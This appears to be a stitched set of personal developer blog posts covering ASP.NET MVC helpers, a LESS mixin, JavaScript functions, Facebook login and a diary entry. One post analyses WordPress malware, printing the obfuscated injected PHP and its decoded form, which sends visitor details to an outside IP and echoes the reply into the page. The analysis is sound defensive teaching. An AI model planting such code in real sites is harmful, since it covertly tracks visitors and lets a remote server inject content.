@Html.TextArea("Title")

These worked, but if you renamed the property in your model (for example, from “Title” to “Subject”) and forgot to update your view, you wouldn’t catch this error until you actually tried out the page and noticed your model isn’t populating properly. By this time, you might have users using the site and wondering why stuff isn’t working.

ASP.NET MVC 2 introduced the concept of strongly-typed HtmlHelper extensions, and ASP.NET MVC 3 extended this even further. An example of a strongly typed HtmlHelper is the following:

@Html.TextAreaFor(post => post.Title)

These allow you to write more reliable code, as view compilation will fail if you change the field name in your model class but forget to change the field name in the view. If you use precompiled views, this error will be caught before deployment.

Creating your own

The built-in helpers are good, but quite often it’s nice to create your own helpers (for example, if you have your own custom controls like a star rating control or rich-text editor). These new helpers are very easy to create, since we can make use of two different classes that come with ASP.NET MVC:

• ExpressionHelper — Gets the model name from a lambda expression (for example, returns the string “Date” for the expression “post => post.Date”, and “Author.Email” for the expression “post => post.Author.Email”). This is what you’d use in the ID and name of the field
• ModelMetadata — Gets other information about the lambda expression, including its value

These two classes give us all the information we require to make our own HTML helpers (internally, these are what all the built-in strongly-typed HTML helpers use).

Here’s an example of a simple HTML helper that uses both of the above classes:

public static MvcHtmlString NewTextBox(this HtmlHelper htmlHelper, string name, string value)
{
	var builder = new TagBuilder("input");
	builder.Attributes["type"] = "text";
	builder.Attributes["name"] = name;
	builder.Attributes["value"] = value;
	return MvcHtmlString.Create(builder.ToString(TagRenderMode.SelfClosing));
}

public static MvcHtmlString NewTextBoxFor<TModel, TProperty>(this HtmlHelper<TModel> htmlHelper, Expression<Func<TModel, TProperty>> expression)
{
	var name = ExpressionHelper.GetExpressionText(expression);
	var metadata = ModelMetadata.FromLambdaExpression(expression, htmlHelper.ViewData);
	return NewTextBox(htmlHelper, name, metadata.Model as string);
}

Given a model like this:

public class Post
{
	public string Title { get; set; }
	// ...
}

A view like this:

@Html.NewTextBoxFor(model => model.Title)

Will produce HTML like this:

<input name="Title" type="text" value="" />

For helpers with larger chunks of HTML, I’d suggest using partial views. These can be rendered using htmlHelper.Partial().

Hopefully this helps someone!

Until next time,
— Daniel

This involves quite a lot of CSS for each alpha colour you want to use. We can automate this tedious code generation through a LESS mixin. If you're still using 'pure' CSS, I'd highly suggest looking into LESS and SASS, they're extremely handy. In any case, I use a mixin similar to the following:

.rgba(@colour, @alpha)
{
	@alphaColour: hsla(hue(@colour), saturation(@colour), lightness(@colour), @alpha);
	@ieAlphaColour: argb(@alphaColour);
	
	background-color: @colour; // Fallback for older browsers
	background-color: @alphaColour; 
	
	// IE hacks
	zoom: 1; // hasLayout
	background-color: transparent\9;
	-ms-filter:  "progid:DXImageTransform.Microsoft.gradient(startColorstr=@{ieAlphaColour}, endColorstr=@{ieAlphaColour})"; // IE 8+
	    filter: ~"progid:DXImageTransform.Microsoft.gradient(startColorstr=@{ieAlphaColour}, endColorstr=@{ieAlphaColour})"; // IE 6 & 7 
	
}

Note that IE requires the element to have layout in order to apply filters to it (hence the zoom: 1 hack), and IE 8 changed the filter syntax to use -ms-filter instead. This LESS mixin can be used as follows:

#blah
{
        .rgba(black, 0.5);
}

This will set the element to a 50% black background. This mixin could be converted to SASS quite easily, too. Ideally I would have liked to apply the IE styles in a better way (like using conditional comments to set classes on the <html> element) but I couldn't get this approach working with LESS.

Hope this helps someone!

Until next time,
— Daniel

The most common result of your site being hacked through like this is having some sort of malicious code added to your PHP files. This is often invisible, and people don't notice that their site has malicious code lurking in it until much later. However, sometimes the hacked code does have errors in it. One particular payload is being referred to as the "'Cannot redeclare' hack", as it causes an error like the following to appear in your site's footer:

Fatal error: Cannot redeclare _765258526() (previously declared in /path/to/www/wp-content/themes/THEME/footer.php(12) : eval()'d code:1) in /path/to/www/index.php(18) : eval()'d code on line 1

This particular hack affects all the index.php and footer.php files in your WordPress installation. If you are affected by this hack and open any index.php or footer.php file, you'll see code that starts like this: (the full code is on Pastebin)

<?php eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5Wj...

Decoding the Code

If you're this far, I assume you're a PHP developer (or at least know the basics of PHP). The malicious code above is actually highly obfuscated PHP code, which means that the actual intent of the code is hidden and it looks like jibberish. The eval statement runs arbitrary PHP code, so this line of code will basically base64 decode and then run the big block of code. So... what does the code actually do? Obviously we can't tell with it in its current state. It does take a bit of effort, but this code can be "decoded" relatively easy. Obfuscation is not one-way, it can always be undone. While we can't get back the original variable names, we can see what functions the code is executing.

The first step in decoding this code is replacing all instances of eval with echo, and then running the script. This should output the code being executed, instead of actually executing it. After doing this, I ended up with something like the following:

$GLOBALS['_2143977049_']=Array();
function _765258526($i){$a=Array();return base64_decode($a[$i]);}

eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5WjzcyMjM...

Great, another layer of gzipped/base64'd obfuscation. This technique is common with obfuscated code like this. Multiple layers of obfuscation makes it harder for someone to decode the code, as it requires more effort. I guess the "bad guys" think that people will get tired of trying to unobfuscate the code, and give up, or something like that. When a case like this is encountered, keep replacing eval with echo and re-running the script, until there's no eval statements left. After decoding all the eval'd code and formatting the resulting code, I ended up with this. While there's readable code there now, it's still obfuscated.

Once you're this far, if you look closely at the code, you'll notice that a lot of it is encoded using base64. The next step to unobfuscating thid code is to decode all base64-encoded text. That is, find all instances of base64_decode(...) and replace it with the base64 decoded version. Once I did that, I ended up with this:

<?php 
$GLOBALS['_226432454_']=Array();
function _1618533527($i)
{
        return '91.196.216.64';
}
 
$ip=_1618533527(0);
$GLOBALS['_1203443956_'] = Array('urlencode');
function _1847265367($i)
{
        $a=Array('http://','/btt.php?ip=','REMOTE_ADDR','&host=','HTTP_HOST','&ua=','HTTP_USER_AGENT','&ref=','HTTP_REFERER');
        return $a[$i];
}
$url = _1847265367(0) .$ip ._1847265367(1) .$_SERVER[_1847265367(2)] ._1847265367(3) .$_SERVER[_1847265367(4)] ._1847265367(5) .$GLOBALS['_1203443956_'][0]($_SERVER[_1847265367(6)]) ._1847265367(7) .$_SERVER[_1847265367(8)];
$GLOBALS['_399629645_']=Array('function_exists', 'curl_init', 'curl_setopt', 'curl_setopt', 'curl_setopt', 'curl_exec', 'curl_close', 'file_get_contents');
function _393632915($i)
{
    return 'curl_version';
}
if ($GLOBALS['_399629645_'][0](_393632915(0))) 
{
        $ch=$GLOBALS['_399629645_'][1]($url);
        $GLOBALS['_399629645_'][2]($ch,CURLOPT_RETURNTRANSFER,true);
        $GLOBALS['_399629645_'][3]($ch,CURLOPT_HEADER,round(0));
        $GLOBALS['_399629645_'][4]($ch,CURLOPT_TIMEOUT,round(0+0.75+0.75+0.75+0.75));
        $re=$GLOBALS['_399629645_'][5]($ch);
        $GLOBALS['_399629645_'][6]($ch);
}
else
{
        $re=$GLOBALS['_399629645_'][7]($url);  
}
echo $re;
?>

Now you simply need to go through the code and "execute it in your head". Follow the execution path of the code, and see which variables are used where. There's some usage of arrays to disguise certain variables. What I did was first replaced the two function calls (_1618533527 and _1847265367), and then replaced the array usages (_1203443956_, _399629645_ and _399629645_). Substitute the variables in the places they're used, and the code should be fully obfuscated. Once fully unobfuscated, the code came down to the following:

<?php
$url = 'http://91.196.216.64/btt.php?ip=' . $_SERVER['REMOTE_ADDR'] . '&host=' . $_SERVER['HTTP_HOST'] . '&ua=' . urlencode($_SERVER['HTTP_USER_AGENT']) . '&ref=' . $_SERVER['HTTP_REFERER'];

if (function_exists('curl_version'))
{
	$ch = curl_init($url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_setopt($ch, CURLOPT_TIMEOUT, 3);
	$re = curl_exec($ch);
	curl_close($ch);
}
else
{
	$re = file_get_contents($url);
}
echo $re;

So, what it's actually doing is sending a request to 91.196.216.64 (a server located in Russia), telling it your site's hostname, your user agent (what browser you're using), and the referer (how you got to the page). This is not directly malicious (this code can't directly do anything bad), which makes it interesting. My theory is that the developer of the worm is using this to create a list of all vulnerable sites, to use them for further hacks in the near future.

So, that's it. Hopefully this post wasn't too boring (and perhaps you even learnt how to unobfuscate code like this). As more people learn how to unobfuscate code like this, I suspect that the "hackers" will keep getting smarter and devising more clever code obfuscation techniques. Until then, finding out what the code actually does is relatively quick and easy, as I've demonstrated here.

Until next time,
— Daniel

<div class="h1Title"><div class="spriteicon_img_mini" id="icon-name_mini"></div>Page Title</div>

Or like this?

<!--Start Footer-->
<div id="heading-bottom_bg" class="spriteheading_bg footer">
	<ul class="links footer_ul">
		<li class="footer_li"><a class="footer_li_a bottomlink" href="../index.html">Home</a></li>
		<li class="footer_li"><span class="footer" style="font-size:18px;">&#9642;</span></li>
		...
		<li class="footer_li"><a class="footer_li_a bottomlink" href="/logout/">Log out</a></li>
	</ul>
</div>

Notice the classes on all those elements. Really? A web developer that doesn't know about the <h1> tag or CSS descendant/child selectors? Why do people feel the need to use <div> tags for everything, when there's other more semantic tags available? It really doesn't make sense to me; some of the first HTML tags I learnt were <h1> and <p>.

For what it's worth, this is how I'd rewrite those two blocks of HTML:

<h1 class="icon-name">Page Title</h1>

<!--Start Footer-->
<div id="footer">
	<ul>
		<li><a href="../index.html">Home</a> &#9642;</li>
		...
		<li><a href="/logout/">Log out</a></li>
	</ul>
</div>

It's good to keep your HTML and CSS selectors as simple as possible. There's no need for a "footer_li" class when you can just use "#footer li" in your CSS. The "icon-name" CSS class on the <h1> is used for a CSS sprite to display next to the heading. Also, as an alternative, the separator (&#9642;) that was originally in a <span> after all the footer items can easily be added via the :after pseudo selector instead of being in the <li>.

It's really frustrating that there's so many "web developers" that don't seem to know basic HTML. It's okay if you're just starting to learn, this is fair enough. The HTML I "wrote" when I started web development was horrendous. And by "wrote" I mean "created in FrontPage 98". But it's another thing altogether to be a developer for a number of years and still write ugly HTML like this.

Ugly JavaScript seems to be way more common, though. But that's a rant for another day.

The source code is available as a Gist on Github. It is written in PHP and requires the PECL OAuth extension to be installed. I think it's a pretty good example of a simple "search and reply" Twitter bot, that could easily be extended to do more useful things.

Until next time,
— Daniel

My old blog used to have a "microblog" section where I'd occassionally post photos and stuff. I've moved all that onto a Tumblr account, although now I'm thinking I should have used Posterous instead. Tumblr's uptime seems quite bad. I really don't understand why it's so popular... It seems like it's mainly the community rather than the site itself.

Eventually I might even post a proper blog article to here. Or to my other blog with my girlfriend :)

Until then,
— Daniel

Functions are variables

In most programming languages, functions are a pretty basic language feature. They're quite nice for structuring your code, but don't really have any built-in awesomeness. Some programming languages have features to dynamically call functions at run-time (usually referred to as reflection), but JavaScript has a LOT more power in this area. In JavaScript, functions are known as first-class objects. Functions are stored in normal variables, and you can create new ones (known as anonymous functions) and edit existing ones on the fly. Functions can also be return values from other functions! This enables a whole range of different programming techniques known as metaprogramming.

Let's take a look at some examples. Most people that use JavaScript should know the basic function declaration syntax:

function test()
{
	alert('This is a test function');
}

However, because functions are variables, there's also a different syntax you can use:

var test = function()
{
	alert('This is a test function');
}

These two examples are exactly identical! Since it's a variable, you can do everything you could do with variables. You can pass it to functions:

function doStuff(fun)
{
	fun('This is fun!'); // Call the passed in function, passing a parameter to it
}

var alertSomething = function(msg)
{
	alert('This is a message: ' + msg);
}
doStuff(alertSomething); // Passes the alertSomething variable to doStuff. Alerts "This is a message: This is fun!"

And even overwrite built-in functions:

document.write = function()
{
	alert('NO! document.write is EVIL! Time to learn DOM methods :-)');
}

document.write('Test'); // pwned

Functions are also objects

As we saw above, functions are variables. Functions are also objects! This means you can store variables against functions. Let's see a simple example:

function count()
{
	count.number++;
	alert('Count = ' + count.number);
}

count.number = 0;
count(); // Count = 1
count(); // Count = 2
count(); // Count = 3

No need for global variables

So now that we know we can store variables against functions, you should realise that we should almost never need global variables. For variables that are specific to one function (like a count), you can store it against the function, as shown above. For variables that are relevant to a number of different functions, you should probably group the variables and all the functions into an object literal (see my previous post for more information on object literals).

Put object literals into namespaces

But wait... "The example functions all shown so far are globals, but you said to not use globals", I hear you say. Well, that's correct. So I'd say to put all your functions into object literals. Group all your functions into related categories or groups, and make one object literal per group. You can even put object literals inside object literals:

var Site = {};
Site.Home = 
{
	// ... stuff for the home page
};
Site.ContactUs = 
{
	// ... stuff for the contact page
};

var Blog = {};
Blog.Main = 
{
	// ... Stuff for the blog
};

Blog.ViewPost = 
{
	// ... stuff for viewing blog posts
};

This keeps your code clean and organised, and ensures you don't pollute the global namespace (you've only made two global objects here - Site and Blog). For any scripts you release publicly, I'd suggest putting them in some sort of namespace object, such as your name or nickname:

var Daniel15 = Daniel15 || {};
Daniel15.AwesomeControl = 
{
	// ... stuff
}

The "var Daniel15 = Daniel15 || {};" uses the existing Daniel15 object if it exists, otherwise, it creates a new empty one.

I think that's all for this post. I'd like to post about things like closures and such, but I'll save that for another post :).

Until next time,
— Daniel15

Firstly, sign up for a Facebook application at the Facebook developer website. You'll have to correctly set the site URL and site domain. Copy the application ID and application secret as shown on the Web Site section of the settings, as you will need them later.

Now we're ready to begin. Here's a very simple class for logging in via Facebook. It doesn't have much error checking, but should work okay: Download the class (Facebook.php). Here's some code that uses that class:

$facebook = new FacebookLogin('100929283281389', '8*******************************1');
$user = $facebook->doLogin();
echo 'User\'s URL: ', $user->link, '<br />';
echo 'User\'s name: ', $user->name, '<br />';
echo 'Full details:<br /><pre>', print_r($user, true), '</ pre>';

The first number in the constructor is the application ID, and the second one is the application secret (remember these from earlier? Here's where you use them!). Stick both the class and the little code snippet above into a .php file, and access it. If everything works correctly, you'll be able to hit that file to log in via Facebook, and get the user's details after logging in. Here's a demo to show you how it works. The idea now is you save the file as something like "FacebookLogin.php", and add a "Log in using Facebook" link on your site that goes to it :).

The class I've provided here is just a base class that you can base your own code on. What you do now is up to you. Here's some suggestions:

• Move the application ID and secret into a config file, instead of hard-coded like above
• If you're using this to log in to a site, I'd store some of the user's details (like name, URL and Facebook ID) in session variables.
• Maybe do things like load the user's profile picture. The access token retrieved at this line: $this->access_token = $result_array['access_token']; can be used to access pretty much anything on Facebook, as long as the user has given permission. Take a look at the demo to see what info you can get by default

Good luck! :)

http://storyofarelationship.com/

Yesterday (Saturday), we went to Scienceworks, which is a science museum here in Melbourne. Well, we got there eventually. We had a few minor issues along the way. Firstly, we got off at Parliament Train Station (as the Metlink journey planner said to), and the platform that the train we needed usually comes to was closed, and there was a notice to go to Southern Cross Station. So, we went back to the platform we came from, and caught another train to Southern Cross. When we got to Southern Cross, the train took aaaages to come (then again, it's the Weribee line so it's kinda expected I guess :P). And then there was another complication — The train terminated at Footscray and we had to take a replacement bus the rest of the way. However, once we caught that bus, we finally got there. Entry is free if you're a student, so that's definitely a bonus.

While I've been to Scienceworks before, it was a long long time ago and I couldn't remember much of it. This time around it was pretty good and I found it quite interesting. They had a toy exhibit, which was awesome! They had a roller coaster made out of K'Nex which was very nice. I want one!! Get me one please? I'm such a child at times, I don't think that'll ever change :D. Anyways, there was also other exhibits like a flight simulator, a kitchen thingy and a nice fire show (with demonstrations, Aaron would have loved it xD). There's also a planetarium there, but we didn't go this time (maybe we'll go next time). And we also went to the store there, and bought some glow-in-the-dark stars (which we stuck all over the roof in our room :D). All in all, it was a very fun day, I really enjoyed it! Was definitely worth the $0 entry to Scienceworks, hahaha :P.

As for work, things are going very good. Since I just passed the six month mark for my IBL placement, I moved from the technical support team at work into one of the development teams. We've been working on improving our products by making commonly-requested upgrades. When clients would like functionality that is currently not available in our system, their request goes onto a wishlist. My team went through the wishlist, rated all the items based on priority, and started working on them. In just two weeks, we've completed heaps, and a few people are very happy :D! I've also been doing a few other things, it's been quite good. I really enjoy my job! Also since it's about the half way mark now, my mid-placement report is nearly due. I've nearly finished it, just have to confirm that it's alright, and show it to my supervisor and see if he thinks it's alright.

So it's the start of another week tomorrow. I really miss Ciera during the day while I'm at work, but it's awesome coming home to her! Really makes me happy and makes everything I do worth it. <3

Until next time,
— Daniel